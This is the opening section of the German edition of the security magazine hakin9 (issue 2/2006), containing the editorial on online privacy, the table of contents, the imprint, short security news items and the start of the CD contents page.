hakin9 - 2006 - 2

hakin9

Dunkle Seite der Macht

Neulich wurde in den Medien eine Aussage von Joseph Sullivan verbreitet. Ein Satz hat eine Diskussion über die Grenzen der Privatheit im Internet wiederkehren lassen (siehe Seite XX). Viele Internet-User waren nämlich mit den folgenden Worten des eBayers alles andere als zufrieden: eBay betreibt wohl die offenste und freundSchlussredakteur: lichste Politik, wenn es um die Freigabe Tomasz Nidecki von Informationen über unsere User geht. Auf der anderen Seite: Wie kann eine solche Firma wie eBay auf die kontinuierlich steigende Anzahl von Betrugsfällen auf den Internet-Auktionen reagieren? Wenn wir statt einer Festplatte einen Ziegel zugeschickt bekommen, möchten wir dann in den nächsten 5 Jahren durch alle möglichen Gerichte herumirren, bis es möglich sein wird, vom Auktionsbetreiber die Personendaten des Betrügers (der sich die ganze Zeit auf den Stränden von Goa sonnen wird) zu bekommen? Vor einiger Zeit hatten es die Kriminellen nicht leicht, wenn sie in ihrem Handwerk das Internet verwenden wollten – von ihrer Privatheit ganz zu schweigen. Um sich einigermaßen sicher zu fühlen, hat ein Einbrecher zehn Server nacheinander knacken müssen, um endlich an den Zielserver zu gelangen. Heutzutage muss Osama bin Laden beim Verfolgen der Diskussion über die Privatheit im Netz wie die Katze in Alice im Wunderland aussehen. Es genügt, dass seine Untergebenen TOR installieren, Gmail verwenden (um die IP-Adresse des Senders zu verstecken). Danach müssen sie sich keine Sorgen machen, dass sie vor dem Zünden der nächsten Bombe erwischt werden. Zumindest solange bis alle E-Mail-Server die Kommunikation mit Gmail blockieren, da der Dienst die Analyse von Missbräuchen erschwert. Es gibt aber Fälle, in denen wir das Beachten unserer Privatsphäre verlangen sollen. Ich sehe keinen Grund, warum jemand auf meinem Rechner irgendeinen Mist – und dazu noch völlig legal – installieren soll, um zu erfahren, welche CD ich abspiele und wann (siehe Seite XX). Ich bin jedoch der Meinung, dass jemand, der sich für das Kommunizieren über das Internet entscheidet, wissen sollte, dass er von der Angabe richtiger Personendaten und einer besseren Identifikation (z.B. mithilfe eines persönlichen Zertifikats THAWTE WoT) profitiert. Insbesondere angesichts der immer größeren Anzahl von Fällen, in denen sich die Betrüger als andere Personen ausgeben. Sehen wir das jedoch nicht ein, werden wir nutzlose Notlösungen wie SPF oder Sender ID (siehe Seite XX) akzeptieren müssen. Die Privatheit hat ihren Preis. Dies ist aber genau der Punkt: die meisten von uns sind nicht gerade konsequent, wenn es um die Privatheit geht. Auf der einen Seite verlangen wir, dass unsere Anonymität garantiert wird und keiner erfahren darf, dass wir Stunden auf Pornoseiten verbringen. Auf der anderen Seite – wenn uns jemand in den Arsch getreten hat und vergessen alles, was wir vorher über die Privatheit gesagt haben. Und erwarten von den Ordnungskräften ganz konkrete und schnelle Ergebnisse. Entscheidet euch Leute. Ich selbst habe es noch nicht geschafft… Tomasz Nidecki [email protected]

4

hakin9 Nr. 2/2006

Kurznachrichten

06

Marek Bettman

Wir berichten über eine Hand voll interessanter Nachrichten aus der Welt der Sicherheit von IT-Systemen.

CD-Inhalt

10

Jadwiga Rzepecka-Makara

Wir präsentieren den Inhalt und die Arbeitsweise der Version unserer Paradedistribution – hakin9.live.

Tools GFI Network Server Monitor 7

12

Stefan Lochbihler

Wir zeigen, wie die Netzwerkserver mithilfe von GFI Network Server Monitor dauernd überwacht werden können.

SwitchSniffer

13

Paweł Charnas

Wir stellen vor, wie das Werkzeug SwitchSniffer zum Aufdecken illegaler Verbindungen in einem geswitchten Netzwerk eingesetzt werden kann.

Thema der Ausgabe Knacken eines IBM iSeries-Servers

14

Shalom Carmel

Wir zeigen, was ein Fremdling, der Zugang zu einem falsch konfigurierten IBM iSeries-Server hat, anrichten kann. Wir stellen vor, wie er an Informationen über Benutzer und Konten kommen, den Server knacken und vertrauliche Daten stehlen kann.

Fokus Festung Linux – eine Übersicht von Projekten

28

Michał Piotrowski

Wir vergleichen die Pakete, die zur höheren Sicherheit des Linux-Kernels beitragen und beschreiben die von ihnen verwendeten Techniken. Wir zeigen, wie und wovor sie schützen können. Wir geben Hinweise, welche Lösungen zu welchen Zwecken eingesetzt werden sollen.

Praxis Schreiben hochentwickelter Linux-Backdoors – Paketsniffing Brandon Edwards

36

Wir zeigen, wie man eine Backdoor entwickelt, die auf Paketsniffing basiert. Wir gehen Schritt für Schritt vom Design bis zum fertigen Code. Außerdem stellen wir ein einfaches Tool vor, mit dessen Hilfe sich die erstellte Backdoor anwenden lässt.

www.hakin9.org

Technik Verwendung und Missbrauch von ICMP

46

Antonio Merola

Wir beschreiben das ICMP-Protokoll und wie es von einem Fremdling ausgenutzt werden kann. Wir stellen alle ICMP-Meldungen sowie deren Bedeutung und Ausnutzen zu bösen Zwecken vor. Außerdem zeigen wir, wie man eine Firewall konfiguriert, um das System vor Angriffen zu schützen.

Programmieren Automatisierung des Exploiting-Prozesses auf der Linux/x86-Plattform

58

Stavros Lekkas

Wir stellen die Methoden vor, die zum automatischen Aufdecken von Buffer-Overflow-Angriffen dienen. Wir vergleichen die vorgestellten Techniken im Hinblick auf deren Effizienz. Außerdem stellen wir ein Werkzeug vor, mit dessen Hilfe sich dieser Prozess automatisieren lässt.

Umgebung Sony, ein Rootkit und die fünfte Macht

68

Michał Piotr Pręgowski

Wir stellen die Geschichte des Rootkits und der Spyware vor, die auf DRM-CDs der Firma Sony vorhanden waren. Wir erklären die Hintergründe des Skandals und dessen Folgen.

Absenderauthentifizierung – Schutz oder Gefahr

74

Tomasz Nidecki

Wir prüfen die vorhandenen Mechanismen zur Absenderauthentifizierung in den E-Mails. Wir begründen, warum SPF unwirksam ist. Außerdem beschreiben wir potenzielle Probleme, die bei dessen Verwendung auftreten können.

Editorial Die Zukunft der Inhalte

80

Rene Heinzl

Verwaltung von Autorenrechten aus einer anderen Perspektive.

Ankündigungen

82

Jadwiga Rzepecka-Makara

Wir blicken vor auf die Artikel in der nächsten Ausgabe unseres Magazins.

wird von Software-Wydawnictwo Sp. z o.o. herausgegeben Anschrift: Software-Wydawnictwo Sp. z o.o., ul. Piaskowa 3, 01-067 Warschau, Polen Tel. +48 22 887 10 10, Fax +48 22 887 10 11 www.hakin9.org Chefredakteur: Jarosław Szumski Produktion: Marta Kurpiewska [email protected] Vertrieb: Monika Godlewska [email protected] Market Manager: Jadwiga Rzepecka-Makara [email protected] Schlussredakteur: Tomasz Nidecki [email protected] Vorbereitung der CD: Witold Pietrzak Satz: Anna Osiecka [email protected] Übersetzung: Matthias Hannich, Magdalena Kaczmarek, Tomasz Sieniuć Korrektur: Oliver Koen, Stephan Radke, Andreas Raber, Marek Kreul, Peter Hüwe, Soeren Bleikertz, Florian Roth, Markus Jeitler, Patrick Astor, Ingo Edelmann, Marcus Felhofer, Sebastian Ebil, Sascha Hess, Nico Golde, Matthias Göring Werbung: [email protected] Abo: [email protected] Tel. +48 22 887 14 57 Umschlagsentwurf: Agnieszka Marchocka Wenn Sie mit uns zusammenarbeiten wollen: [email protected] Wollen Sie eine Verkaufslizenz auf Verkauf unserer Magazin erwerben, kontaktieren Sie bitte: Monika Godlewska e-mail: [email protected] tel.: +48 22 887 12 66 fax: +48 22 887 10 11 Vertrieb in Deutschland: IPS Pressevertrieb GmbH Postfach 12 11 D-53340 Meckenheim Die Redaktion bemüht sich, dafür Sorge zu tragen, dass die in der Zeitschrift sowie auf den begleitenden Datenträgern enthaltenen Informationen und Anwendungen zutreffend und funktionsfähig sind, übernimmt jedoch keinerlei Gewähr für deren Geeignetheit für bestimmte Verwendungszwecke. Alle Markenzeichen, Logos und Handelsmarken, die sich in der Zeitschrift befinden, sind registrierte oder nicht-registrierte Markenzeichen der jeweilgen Eigentümer und dienen nur als inhaltliche Ergänzugen. Die Redaktion bietet kein Support bei der Installation bzw. Nutzung der auf der begleitenden CD zur Zeitschrift enthaltenen Software. Anmerkung! Der Verkauf von aktuellen Magazinen sowie von Archivausgaben zu einem anderen Preis, als der auf dem Umschlag abgedruckte, ist ohne Genehmigung des Herausgebers verboten und wird strafrechtlich verfolgt. Die Redaktion benutzt das automatische Satzsystem von Zur Erstellung der Diagramme wurde das Programm von der Firma verwendet. Die dem Magazin beigefügte CD wurde mit dem Programm AntiViren Kit von der Firma G DATA Software Sp. z o.o. getestet. Druck: 101 Studio, Firma Tęgi hakin9 erscheint in folgenden Sprachversionen und Ländern: deutsche Version (Deutschland, Schweiz, Österreich, Luxemburg), französische Version (Frankreich, Kanada, Belgien, Marokko), spanische Version (Spanien, Portugal), italienische Version (Italien), tschechische Version (Tschechien, Slovakei), polnische Version (Polen), englische Version (Kanada, USA) hakin9 -Magazin wird in 7 Sprachversionen veröffentlicht: DE

PL

CZ

IT

FR

ES

EN

Anmerkung

Die in der Zeitschrift demonstrierten Techniken sind AUSSCHLIESSLICH in eigenen Rechnernetzen zu testen! Die Redaktion übernimmt keine Haftung für eventuelle Schäden oder Konsequenzen, die aus der unangemessenen Anwendung der beschriebenen Techniken entstehen. Die Anwendung der dargestellten Techniken kann auch zum Datenverlust führen! Wir bedanken uns herzlich bei den Betatestern: Oliver Koen, Rene Heinzl, Marek Kreul, Sascha Hess, Andreas Männer

www.hakin9.org

hakin9 Nr 2/2006

5

Kurznachrichten

DataTraceDNA

D

Domänen .eu nicht für Schweizer

•

Laut EU-Recht werden die Bürger der Schweiz ihre Adressen in der gemeinsamen europäischen Domäne (.eu) nicht anmelden dürfen. Obwohl der Staat im Herzen Europas liegt, steht das Recht auf die Verwendung von Adressen in der EU-Domäne nur den EU-Mitgliedern zu. Beat Fehr, der Chef einer der zwei Schweizer Internet-Unternehmen, denen eine Lizenz zum Verkauf von Adressen in der Domäne .eu zugesprochen wurde, zeigte sich durch diese Nachricht stark beunruhigt. Seiner Meinung nach werden die Schweizer Konzerne – u.a. Nestle und Swatch – ihre europäischen Domänen zugunsten derjenigen ausländischen Unternehmen verlieren, die Adressen mit den Namen der genannten Firmen rechtzeitig registrieren. Er sagte auch, dass die Domäne. eu für alle Länder des alten Kontinents gelten sollte. Allerdings haben die Verhandlungen zwischen der Schweizer Kommission für Kommunikation und der EU-Kommission zu keinen nennenswerten Ergebnissen geführt. In einer vergleichbaren Lage befinden sich auch andere europäische Staaten, die keine EU-Mitglieder sind – Island, Lichtenstein und Norwegen.

6

Sicherheitsrisiko Skype

Die australische Firma CSIRO hat eine Technologie namens DataTraceDNA vorgestellt, die das Kennzeichnen und Sichern von Produkten mithilfe chemischer Strichcodes ermöglicht. DataTraceDNA integriert einzigartige und sich nicht verändernde Muster von Elementarteilchen mit der Molekularstruktur von Materialien und Produkten. Die Elementarteilchen können problemlos als chemischer Strichcode mithilfe eines tragbaren Scanners abgelesen werden. Der chemische Strichcode ist sehr komplex und damit ein harter Brocken für künftige Betrüger. Er kann weder gelöscht noch geändert werden, da er ein Teil der Materialoder Produktstruktur ist. Die Firma beschäftigt sich derzeit mit der Integration der neuen Technologie in Zement, Holz, Sprengstoffen, Klebstoffen, Farben, Verpackungen und Polymeren, chemischen Substanzen und Arzneimittelverpackungen.

hakin9 Nr. 2/2006

ie Firma Info-Tech, die sich mit der Analyse der IT-Branche beschäftigt, warnt vor der Anwendung von Skype in Business-Lösungen – ihrer Meinung nach soll die Applikation schnellstmöglich einer Liste von Programmen hinzugefügt werden, die nicht installiert, geschweige denn verwendet werden dürfen. Das Programm wird von ca. 17 Mio. registrierten Nutzern im Businessbereich eingesetzt. Solange es keine restriktiven Sicherheitsrichtlinien für diese Lösung gibt, sind diese 17 Mio. User ein idealer Köder für Cracker – sagte ein Info-Tech Mitarbeiter. Laut Info-Tech besitzt das Programm folgende Schwachstellen: •

• •

•

das in Skype verwendete Verschlüsselungsverfahren hat einen geschlossenen Charakter; die Applikation ist insbesondere für Angriffe des Typs man-in-themiddle anfällig; die Mechanismen zur Verwaltung von Schlüsseln sind unbekannt; im Business-Bereich kann die Kommunikation insofern Probleme verursachen, als viele Institutionen die Applikation auf ihre schwarze Liste gesetzt haben; fehlende Unterstützung für populäre Firewalls — dadurch werden die Bugs ausgenutzt und die Angriffe auf die Applikation werden von einer typischen Firewall nicht blockiert.

Am schlimmsten ist jedoch die Tatsache, dass selbst ein wenig erfahrener Cracker die Kontrolle über unser Netzwerk problemlos übernehmen kann, indem er die Fehler in der Applikation ausnutzt – fügen die Mitarbeiter von InfoTech hinzu. Seitdem eBay, das größte Auktionshaus im Internet, beschlossen hat, Skype zu übernehmen, können die Spezialisten für Netzwerksicherheit nicht mehr ruhig schlafen. Die Lage hat sich nach dem Vortrag von Josepha E. Sullivan (Chef der Abteilung Compliance and Law Enforcement

www.hakin9.org

Relations bei eBay) auf der Konferenz CyberCrime2003 zusätzlich angespannt. Sind die Personendaten von Skype-Nutzern leicht zugänglich und deren Identität in Gefahr? Im Web-Service SecurityFocus hat Scott Granneman eine Aussage des eBay-Mitarbeiters zitiert, die sich für alle Skype-Nutzer als verhängnisvoll erweisen kann: Nach der Analyse von Betrugsfällen bei eBay habe ich feststellen müssen, dass meine Firma wohl die offenste und freundlichste Politik betreibt, wenn es um die Freigabe von Informationen über unsere User geht; Wenn du von einer Strafverfolgungsbehörde kommst, kannst du uns auf dem Firmenpapier eine Bitte um Freigabe von Informationen über einen beliebigen User des Portals zufaxen. Du bekommst dann alle Details über seine Aktivitäten zugeschickt. Du kriegst seinen Namen, seine Telefonnummer sowie seine Post- und E-Mail-Adresse. All das ohne einen Durchsuchungsbefehl! Die Einfachheit, mit der man an Personendaten eines beliebigen eBay-Nutzers gelangen kann und die Tatsache, dass der neue Besitzer von Skype eine dermaßen offene Datenschutzpolitik betreibt, wirkt nicht nur auf die IT-Sicherheitsprofis, sondern auch auf gewöhnliche Nutzer furchteinflößend. Diejenigen, die das Stehlen Ihrer Identität nicht riskieren möchten, suchen nach einer Alternative im Bereich der Internet-Telefonie, und finden diese mittlerweile auch(was seit einiger Zeit nicht mehr schwierig ist). Außer Skype macht auch ein Programm namens Gizmo auf sich aufmerksam. Es verwendet ebenfalls ein starkes Verschlüsselungsverfahren, hat aber den Vorteil, dass es für die Kommunikation das offene SIP-Protokoll (mündliche Kommunikation) und XMMP/Jabber (Textkommunikation) verwendet. Ähnlich wie Skype ist Gizmo für die Plattformen Windows/Linux und Macintosh verfügbar.

Kurznachrichten

IT UNDERGROUND 2006

D

er immer breitere und uneingeschränkte Zugang zum globalen Netz führt dazu, dass wir uns mit Gefahren auseinandersetzen müssen, denen man bisher nur in der Science-Fiction-Literatur begegnete. Die kontinuierlich steigenden Rechenkapazitäten, kostengünstige Breitbandanschlüsse und die ideenreichen Betrüger haben bewirkt, dass die Personen, die für IT-Sicherheit zuständig sind, immer wachsam sein müssen, um die Bedrohungen rechtzeitig identifizieren und neutralisieren zu können. All diese Themen werden auf IT UNDERGROUND 2006 – der größten IT-Konferenz Europas – behandelt. Wir erfahren u.a. etwas über die Angriffs- und Abwehmethoden und Reverse Engineering. Sitzungsthemen: • • • • • • • • • • • •

Angriffe auf Unix-Applikationen; Angriffe auf Windows-Applikationen; Techniken zum Umgehen von Sicherungen; Analyse des Binär- und Quellcodes; Sicherheit von Web Services; Sicherheit von Daten und Hardware; Scannen und Analyse von Netzwerken; Anonymität und Privatheit; Hardening von Unix-Systemen; Hardening von Windows-Systemen; Forensische Analyse von Unix/ Linux-Systemen; Forensische Analyse von Windows-Systemen;

• • • • • • • • •

Kryptografie; Sicherheit von Funknetzwerken (Wi-Fi, Bluetooth); Rootkits und Backdoors in UnixSystemen; Rootkits und Backdoors in Windows-Systemen; Versteckte Kanäle und Steganografie in Netzwerken; Analyse von Würmer, Malware, Spyware; Sicherheitszertifikate, PKI; Reverse Engineering; Soziotechnik.

Einige Vorträge werden in BYOL-Form (Bring Your Own Laptop) gehalten. Sie sind in erster Linie an diejenigen Teilnehmer gerichtet, die eigene Laptops mitbringen und dadurch aktiv an den Sitzungen teilnehmen können. Die Teilenehmer werden die Möglichkeit haben, ihre Rechner von einer vorbereiteten CD zu starten, die die Distribution hakin9.live enthält. Anschließend werden sie in ein Test-Netzwerk eindringen können, indem sie die im Vortrag vorgestellten Techniken verwenden. Alternativ können sie die Angriffe abwehren, die von anderen Teilnehmern durchgeführt werden. Die nächsten Konferenzen: • • •

IT UNDERGROUND 2006, April – Großbritannien; IT UNDERGROUND 2006, Juni – Spanien; IT UNDERGROUND 2006, September – Italien.

Weitere Informationen finden Sie unter http://www.itunderground.org/.

Leck in iTunes

L

aut einer Mitteilung der Firma eEye wurde in Sicherungen des Programms iTunes ein kritischer Fehler entdeckt, der die Übernahme der Kontrolle eines angegriffenen Rechners ermöglicht. Bisher hat der Konzern Apple zu diesem Thema keinen Kommentar abgegeben. Auf der Webseite von eEye kann man lesen, dass der Fehler in iTunes

das Ausführen eines Fremdcodes auf dem angegriffenen Rechner ermöglicht. Mehr Einzelheiten über das Leck wurden nicht mitgeteilt. Es ist bekannt, dass das Sicherheitsproblem verschiedene Programmversionen betrifft – unter anderen die neueste Version mit der Nummer 6. Betroffen sind ausschließlich verschiedene Versionen von iTunes für das System Windows.

www.hakin9.org

Microsoft öffnet die Spezifikation von MS Office-Dateien

Der Konzern aus Redmond hat die Veröffentlichung des Formats von Office XML angekündigt. Microsoft hat sich an die Standardisierungsorganisation ECMA mit einem Antrag auf die Anerkennung dieses Formats als Industriestandard gewendet, Dies deutet darauf hin, dass Microsoft endlich eingesehen hat, dass die Hartnäckigkeit bezüglich einiger Dateiformate sehr ungünstig sein kann. Dies betrifft vor allem die Dateien des Büropakets, da mit dem Format OpenDocument ein starker Wettbewerber entstanden ist. Microsoft hat die Veröffentlichung spezialisierter Werkzeuge angekündigt, die das Konvertieren der Daten vom alten in das neue Format Office XML ermöglichen.

Wer greift USamerikanische Militärnetze an?

Die chinesische Regierung stellt Hacker ein, die in amerikanische Militärnetze eindringen sollen. Experten haben Informationen über eine Gruppe veröffentlicht, die für die Regierung in Peking arbeitet. Die Hacker, deren Sitz sich vermutlich in der Provinz Guangdong befindet, haben viele amerikanische Geheimdokumente entwendet. Unter den gestohlenen Informationen waren u.a. Einzelheiten über den Aufbau von Flugzeugen sowie Software zum Erstellen von Flugrouten. Laut Alan Paller – dem Chef des SANS Institute, der diese Fälle analysiert hat – besteht die Hackergruppe aus 20 Personen. Die amerikanische Regierung hat sie Titan Rain genannt und mit deren Bekämpfung u.a. einen Hacker mit dem Nick Shawni Carpenter beauftragt, dem es gelungen ist, in die Rechner der Chinesen einzudringen. Im Internet wurde eine Nachricht verbreitet, dass die Story durch Amerikaner ausgedacht wurde, die die Aktivitäten von Chinesen im IT-Bereich unter dem Deckmantel der Legalität überwachen wollen.

hakin9 Nr. 2/2006

7

Kurznachrichten

Aus für das Projekt SETI@home

Das weltweite Experiment SETI@home – die Suche nach fremden Zivilisationen unter Verwendung eines Netzwerks von privaten PCs – ist seit 15. Dezember 2005 ein Bestandteil von BOINC (Berkeley Open Infrastructure for Network Computing), einer Einheit, die vom Koordination von SETI@home – Universität in Berkeley – ins Leben gerufen wurde. Die Ergebnisse des Experiments werden nach einer ausführlichen Analyse im Internet veröffentlicht. Wie die Vertreter von BOINC mitgeteilt haben, werden die Nutzer, die an der Suche nach außerirdischen Zivilisationen interessiert sind, ihre Forschungen fortsetzen können. Außerdem können nun die User sich an neuen BOINC-Projekten beteiligen, die sich u.a. auf Molekularbiologie, Kernenergie und Klimaänderungen beziehen.

Big Blue und IBM wieder am schnellsten

Die Liste von 500 schnellsten Rechnern der Welt, die neulich im Internet veröffentlicht wurde, hat für einige Überraschungen gesorgt. Zu den effizientesten Systemen gehören die Rechner der Firma IBM sowie Hardware, die auf IntelChipsätzen basiert. Schlechtere Ergebnisse haben dagegen Supercomputer erzielt, die mit ItaniumProzessoren ausgestattet waren. Der schnellste Rechner im Test war das System BlueGene/L der Firma IBM, das sich in Lawrence Livermore National Laboratory befindet. Die Leistung des Rechners beträgt 280,6 TFlops/s und hat sich seit dem letzten Test, verdoppelt. Dies ist aber nicht das einzige Ergebnis, auf das Big Blue stolz sein kann. Platz 2 erreichte eine andere Maschine dieser Firma und 43,8% aller Supercomputer stammen von IBM. Der zweitbeste Hersteller der effizientesten Rechnern war HP. Dieser Firma entstammen 33,8% aller Systeme, die sich in der November-Rangliste befanden. Was die anderen Firmen betrifft, so hat sich keine von ihnen über einen Anteil von 7% freuen können. Von 500 Rechnern verwendeten 333 die Prozessoren von Intel – in 55 Systemen waren dagegen die Opteron-Chipsätze zu finden.

8

hakin9 Nr. 2/2006

Sicherheit von WWW-Browsern

D

ie Hersteller der bekanntesten WWW-Browser haben sich zusammengefunden um Schutzmechanismen gegen Gefahren aus dem Internet zu erörtern. Die Mitarbeiter von Microsoft (Internet Explorer), Mozilla Foundation (Firefox), Opera Software (Opera) und die Autoren von Konqueror haben sich dafür in Toronto auf einer Tagung getroffen, die von den KDE-Entwicklern veranstaltet wurde. Das Ziel der Gespräche war das Ausarbeiten von Methoden, mit deren Hilfe ein Browser erkennen kann, welche Webseiten vertrauenswürdig und welche bedrohlich sind. Außerdem hat man sich überlegt, wie die PopUp-Technologie geschützt werden kann, damit Cyberkriminelle sie nicht zum Entlocken vertraulicher Informationen verwenden können. Eine der vorgeschlagenen Lösungen ist das Ändern der Farbe der

Nicht nur China

D

enken wir an Länder, in denen der Zugang zum Internet von oben eingeschränkt wird, so wäre China sicherlich eine der ersten Assoziationen. Wenige Personen würden jedoch in diesem Zusammenhang an die Vereinigten Staaten denken, wo die Bürgerfreiheit in der Verfassung verankert ist. Allerdings wurde gerade in den USA – in einer katholischen Schule in New Jersey – ein Blogverbot eingeführt. Der Schuldirektor, Rev Kieran McHugh, hat mitgeteilt, dass jeder Schüler, der an einem Blog schreibt, suspendiert wird. Erstaunlicherweise hat McHugh weder begründen noch erklären können, welche Bedrohung von den Weblogs ausgehe. Der Lehrer versuchte zu argumentieren, dass seine Entscheidung keine Form der Zensur ist, sondern der Etablierung von sozialen Regeln dienen soll, die Respekt und Höflichkeit garantieren. Er fügte hinzu, dass das Blog-Verbot die Kinder von Pädophilen und Cyberkriminellen schützen soll. Außerdem hat McHugh folgendes festgestellt: Meiner Meinung

www.hakin9.org

Adresszeile im Browser – und zwar je nach dem Grad der Vertrauenswürdigkeit einer Webseite und der dort angewendeten Sicherheitsmaßnahmen. In der Adresszeile können auch Icons erscheinen, die darauf hinweisen, dass der Browser die Daten in einer verschlüsselten Form überträgt. Außerdem würde jedes geöffnete Fenster eine Adresse anzeigen, von der der Inhalt heruntergeladen wurde. Diese Regel soll auch für Pop-Up-Fenster und Formulare gelten. Man weiß noch nicht, ob die genannten Sicherheitsvorkehrungen in allen Browsern verwendet werden. Die Vertreter von Firefox und Konqueror haben festgestellt, dass sie lediglich Empfehlungen machen können. Ob diese von den Autoren dieser Programme berücksichtigt werden, ist noch ungewiss.

nach hat dieses Verbot nichts mit der Zensur zu tun. Ich bin fest davon überzeugt, dass es unseren Schülern die richtigen sozialen Normen beibringen wird. Sollte meine Entscheidung nur ein Kind vor einem Kriminellen schützen, werde sie sich als richtig herausstellen. Anders als der Lehrer haben das Verbot die Schüler angenommen – manche von ihnen waren der Meinung, dass der Lehrer ausrastete, nachdem in einigen Blogs Kommentare über die Schule platziert wurden. Sie haben wahrscheinlich Recht, da einer der Schüler suspendiert wurde, nachdem er in seinem Blog einige negative Meinungen über seinen Lehrer veröffentlicht hat. Da es sich hier um eine Privatschule handelt, kann der Direktor beliebige Verbote verhängen, die mit dem Funktionieren dieser Institution verbunden sind. Trotzdem hat wohl keiner daran geglaubt, dass im XXI Jahrhundert Maßnahmen ergriffen werden, die manch einen an die Aktivitäten der spanischen Inquisition denken lassen.

Kurznachrichten

Neue Sicherungen für Filme

A

uf einer Pariser Konferenz, ist eine neue Technologie vorgestellt worden, die das Erstellen von Raubkopien und den Vertrieb von Filmen auf HD-DVDs unterbinden soll. Ein System von akustischen Wasserzeichen hat Allan Bell aus dem Konzern Warner Brothers vorgestellt. Alle HD-DVD-Player werden mit einem Sensor ausgestattet, der Töne enthält, die in Tracks integriert sind und durch das menschliche Gehör nicht wahrnehmbar sind. Mit der neuen Sicherheitsmaßnahme werden beinahe alle Filme versehen, die in Kinos gezeigt werden. Falls der Player einen versteckten Code entdeckt, wird er den Datenträger als eine illegale Kopie behandeln und deren Wiedergabe vereiteln. Auf diese Art und Weise möchte die Filmbranche Raubkopien unterbinden, die auf den Previews mithilfe einer Digitalkamera aufgezeichnet werden.

Die HD-DVD-Datenträger zur privaten Nutzung werden über ein Wasserzeichen verfügen, das sich jedoch von der Kinoversion unterscheiden wird. Auch in diesem Fall kann das System überprüfen, ob es sich um eine Original- oder Raubkopie handelt. Es werden sowohl illegale Kopien von Filmen entdeckt, die in DVD-Brennern erstellt wurden, die mithilfe einer Digitalkamera direkt vom Fernsehbildschirm aufgenommen wurden. Neulich hat sich dem HD-DVDLager die Firma Microsoft angeschlossen, was auf die Absicht hinweisen könnte die genannte Technologie auch in Windows zu implementieren. Es bleibt zu hoffen, dass das auf akustischen Wasserzeichen basierende System keine versteckten Eigenschaften — wie etwa die von Sony herausgebrachte Software zur Sicherung von Audio-CDs oder die meisten derzeit in den USA hergestellten Laserdrucker – enthalten wird.

Mehrere Jahre im Gefängnis wegen Cyberkriminalität

Z

wei Nigerianer wurden im Zusammenhang mit dem in ihrem Land bisher größten verübten Betrug über das Internet zur mehrjährigen Gefängnisstrafe verurteilt. Emmanuel Nwude verbringt im Gefängnis 25 Jahre, und Nzeribe Okoli 12 Jahre, nachdem die beiden aus einer brasilianischen Bank 242 Mio. US-Dollar gestohlen haben. Außerdem müssen die Männer zugunsten der Opfer des Betruges – zu denen die Kunden von Banko Noroeste aus São Paulo gehören – eine Entschädigung in Höhe von 121,5 Mio. US-Dollar zahlen. Durch die Aktivitäten der beiden Nigerianer ist die Bank pleite gegangen. Der dritte Angeklagte, Amaka Anajemba, wurde zu 2,5 Jahren Haft verurteilt und muss 48,5 Mio. US-Dollar als Entschädigung zahlen. Die Kriminellen haben den Mitarbeitern der Bank hohe Provisionen angeboten, wenn diese als Gegenleistung sich an einem fiktiven Flughafenbau in der nigerianischen

Hauptstadt Abuja beteiligen würden. Durch ähnliche Betrugsfälle wird alleine in den Vereinigten Staaten täglich ca. 1 Mio. Dollar gestohlen – und zwar seit Jahren, wobei das Phänomen seit einiger Zeit zunimmt. Dies ist hinsichtlich der Umsätze der drittstärkste Wirtschaftszweig Nigerias. In vielen Ländern wird beinahe jeder Brief aus Nigeria, sowie Republik Südafrika oder Zimbabwe als ein potenzieller Betrugsfall betrachtet. Obwohl seit 1999 in Nigeria eine Agentur des amerikanischen Secret Service aktiv ist und mehrere Hundert Personen bereits festgenommen hat, gedeiht das kriminelle Geschäft immer kräftiger und umfasst immer mehr Länder. Leider deutet alles darauf hin, dass die nigerianische Regierung sich an der Bekämpfung dieses Problems nicht beteiligen möchte. Bisher wurde niemand auf Grund des Paragraphen 419 des Strafgesetzbuches verurteilt und die Opfer haben keine Entschädigung erhalten.

www.hakin9.org

BIN GigaCon

BIN GigaCon – die größte Konferenz in Mitteleuropa, die der Sicherheit und Zuverlässigkeit von IT-Systemen gewidmet ist – findet in diesem Jahr auch in Deutschland und Frankreich statt. Bisher hat diese Konferenz neun mal stattgefunden – sechs mal in Polen und drei mal in Tschechien. Jedes mal nehmen an der Konferenz Tausende von Teilnehmern und einige Dutzend hervorragende Firmen, die ihre Lösungen vorstellen, teil. Die Entscheidung des Veranstalters – der polnischen Firma Sofware-Konferencje – das Treffen in Frankreich und Deutschland zu organisieren, ist ein wichtiges Ereignis für all diejenigen, die sich täglich mit der Sicherheit von IT-Systemen beschäftigen. Auf jeder Konferenz werden über 30 Vorträge und drei parallele thematische Sitzungen abgehalten, die mit Workshops ergänzt werden. Der Eintritt ist für die Teilnehmer frei. Das Magazin hakin9 war auf allen Tagungen in Polen und Tschechien anwesend. Wir werden auch in Deutschland und Frankreich sein und möchten Sie an dieser Stelle herzlich dazu einladen.

Chemnitzer Linux-Tage 2006

Für die am 4. und 5. März 2006 stattfindenden Chemnitzer Linux-Tage sind der so genannte Call for Lectures und der Call for Presentations online. Mit dem Call for Lecture laden die Veranstalter Referenten für Vorträge und Workshops ein. Getreu dem Motto Linux für die ganze Familie liegt bei den LinuxTagen 2006 der Schwerpunkt auf Heimnetzwerke, multimediales Wohnen und Embedded Linux. Traditionell sind Vorträge zu den Themen Arbeiten mit Linux, Administration/Entwicklung, Politik und Recht gefragt. Als Special ist ein so genannter Debian Day geplant: Vortragende, die diese Distribution und ihre Vorzüge vorstellen möchten, sind willkommen. Beiträge zu Wissenmanagement, E-Learning, E-Business, E-Government finden ebenso ihren Platz im Programm.Weitere Informationen: http://www.linuxtage.de.

hakin9 Nr. 2/2006

9

hakin9.live

CD-Inhalt

A

uf der beiliegenden CD befindet sich hakin9.live (h9l) in der Version 2.9-ng – eine bootfähige LinuxDistribution, die nützliche Tools, Dokumentation, Tutorials und Zusatzmaterial beinhaltet. Um mit hakin9.live arbeiten zu können, sollen Sie Ihren Rechner von der CD starten. Nach dem Starten des Systems können Sie sich als Benutzer hakin9 (ohne Passwort) einloggen. Das Zusatzmaterial befindet sich in folgenden Verzeichnissen:

Im Vergleich zu h9l 2.8-ng haben wir die Kernel-Version geändert (zur Zeit 2.6.14 mit Patches gentoo-sources-2.6.14-r4). Pakete wurden auf die neuesten stabilen Ausgaben aktualisiert. Wir haben auch neue Treiber für drahtlose PCI- und USB-Karten hinzugefügt. In der aktuellen Version von h9l sind u.a. folgende Programme erschienen:

• •

•

• • •

•

ap-utils – ein Satz von Tools zur Einrichtung von Access Points; mrtg – ein Tool zur Überwachung der Netzwerkauslastung; ekg2 – ein kommandozeilenbasierter IM-Client mit Unterstützung für Jabber und andere Protokolle.

